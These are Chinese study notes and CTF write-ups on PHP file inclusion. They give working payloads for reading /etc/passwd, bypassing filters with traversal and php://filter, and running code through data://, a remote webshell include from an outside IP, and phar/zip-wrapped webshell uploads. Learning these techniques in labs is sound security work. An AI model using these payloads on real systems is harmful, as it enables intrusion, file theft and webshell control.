7.24 文件包含学习笔记
BUU LFI COURSE 1(读取文件)
代码如下
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
他是可以读取任意文件内容的
1.绝对路径
比如尝试传入绝对路径 file=/etc/passwd,就能回显
尝试根目录下的flag文件,直接拿到flag
2.相对路径
补充:一般linux服务器下的网页是在/var/www/html内,我们可以尝试相对路径来验证我们的想法。
尝试传入
?file=../../..//flag
../ 是上一层目录。
答案是可以的。
3.返回上一层目录 绕过
那假设他ban了我们这样子/etc/passwd怎么办呢?
我们可以进入一个不存在的文件‘ljy666’,然后利用‘../’返回上一层来尝试。
接下来看参考的payload。
?file=/etc/ljy666/../passwd
可以看到依旧是有回显的,也是顺利地完成读取文件操作。
4.file协议
从官方文档可以看到,php是支持file协议的,我们可以再在前面加一个file://
我们在第三个的基础上可以这样get传参
?file=file:///etc/ljy666/../passwd
发现OK,没问题
5. php协议查看源码
如果我们尝试这样写,他会循环读取文件
/index.php?file=index.php
自己读自己?然后再自己读自己,死循环确实难搞。
那该怎么解决呢?我们如果把它转换成其他编码,浏览器认不出来php代码 是不是就不会读了
Table of Contents
ofile:// — 访问本地文件系统
ohttp:// — 访问 HTTP(s) 网址
oftp:// — 访问 FTP(s) URLs
ophp:// — 访问各个输入/输出流(I/O streams)
ozlib:// — 压缩流
odata:// — 数据(RFC 2397)
oglob:// — 查找匹配的文件路径模式
ophar:// — PHP 归档
ossh2:// — Secure Shell 2
orar:// — RAR
oogg:// — 音频流
oexpect:// — 处理交互式的流
可以在官方文档看到,php也支持一种叫php协议的东西,他是访问一个I/O流的。
很多时候他不会显示源码,例如php注释。那我们使用php协议编码协议是可以解决这个问题的
尝试使用filter来过滤绕过。
这种是比较常用的写法
/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
解释:使用php协议中的filter封装器,我们设定读取的时候使用base64编码加密转换,源文件就是当前目录下的index.php.]
尝试带入源代码中去
base64解密后确实如此。
resource前面也可以加一些不相关路径,不影响结果
6.远程代码生成webshell(http协议)
http://localhost:2048/include/aa.php?file=http://114.132.200.216/webshell.txt
o条件:allow_url_fopen、allow_url_include为on
设置完后重启phpstudy即可
可以看到确实生成了代码,接下来就是菜刀就完事了。
7.php://input
将php代码通过post执行
完整请求过程如下
8.data协议
o将php代码使用data://协议发送执行
odata://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
oallow_url_fopen、allow_url_include为on
比如我们传入 system("dir")
http://127.0.0.1:2048/include/aa.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
9.phar协议
o结合文件上传,将shell_dir.php压缩成shell_dir.zip,然后把压缩包重命名为shell_dir_zip.png
o然后上传shell_dir_zip.png
http://127.0.0.1:2048/include/aa.php?file=phar://shell_dir.zip/shell_dir.php
10.zip协议
o也支持使用zip://读取shell_dir_zip.png
与phar不同的是,压缩包后面文件的斜杠是用井号
zip://shell_dir.zip#shell_dir.php
11. 文件绕过
如果他要求一个png文件,我们在这里可以应用一个zip或者phar协议,依旧可以正常读取压缩包内的内容。
http://127.0.0.1:2048/include/aa.php?file=phar%3a%2f%2fshell_dir.zip.png%2fshell_dir.php
http://127.0.0.1:2048/include/aa.php?file=zip%3a%2f%2fshell_dir.zip.png%23shell_dir.php
安鸾靶场-LFI本地文件包含(phar协议绕过指定文件格式)
题目URL:http://106.15.50.112:8014
目录扫到upload.php
让我们上传一个png的文件
想到phar或者zip协议。
一句话木马写完后,我们压缩为zip格式后把后缀名改成.png后上传,phpinfo()是用来检验的
成功上传后,我们尝试读取文件
直接读肯定是不行的
我们尝试使用phar协议
payload参考
http://106.15.50.112:8014/index.php?file=phar://upload/202207240240312833.png/a.php
可以看到phpinfo出来了。
我们把连接放入蚁剑里面去
最后在文件根目录下找到flag
[BSidesCF 2020]Had a bad day(上一级目录 绕过白名单)
首先很明显,他是在读取一个文件的一个靶场环境
其中图像的连接为http://383dac65-fdd2-4944-a2dd-80de4544e579.node4.buuoj.cn:81/img/cat/8.jpg
我们尝试用flag.txt,他回显
Sorry, we currently only support woofers and meowers
看来必须要这两个。
而当我试了一下
http://383dac65-fdd2-4944-a2dd-80de4544e579.node4.buuoj.cn:81/index.php?category=woofers.php
发现他不是必须严格相等,好像是只要出现了就行。
我们尝试用php://filter看看能不能读取源文件,看看有没有什么隐藏的源代码。
参考payload如下,我这里用woofers迷惑了一下服务器,但是是可以运行的
php://filter/read=convert.base64-encode/woofers/resource=index.php
这边源代码看到报错
Failed opening 'php://filter/read=convert.base64-encode/woofers/resource=index.php.php'
看来,他给我们已经加上.php了。
我们去掉php后重试,得到了代码。
base64解密后,得到这样一个php代码
原来如此,确实给我们加上了.php,并且用了一个strpos()函数,简单来说就是如果返回false的话就是字符串里面没有这个关键字,有的话返回第一个出现的位置。看来是包含index也可以的
好歹更近了一步,知道了她的运行逻辑。
我们想到如果要读取到flag文件,又要包含关键字,我们想到使用上一级目录绕过。
参考payload如下
php://filter/read=convert.base64-encode/resource=./woofers666/../flag
这边resource前面不能加东西了。
得到base64字符串,解密得到flag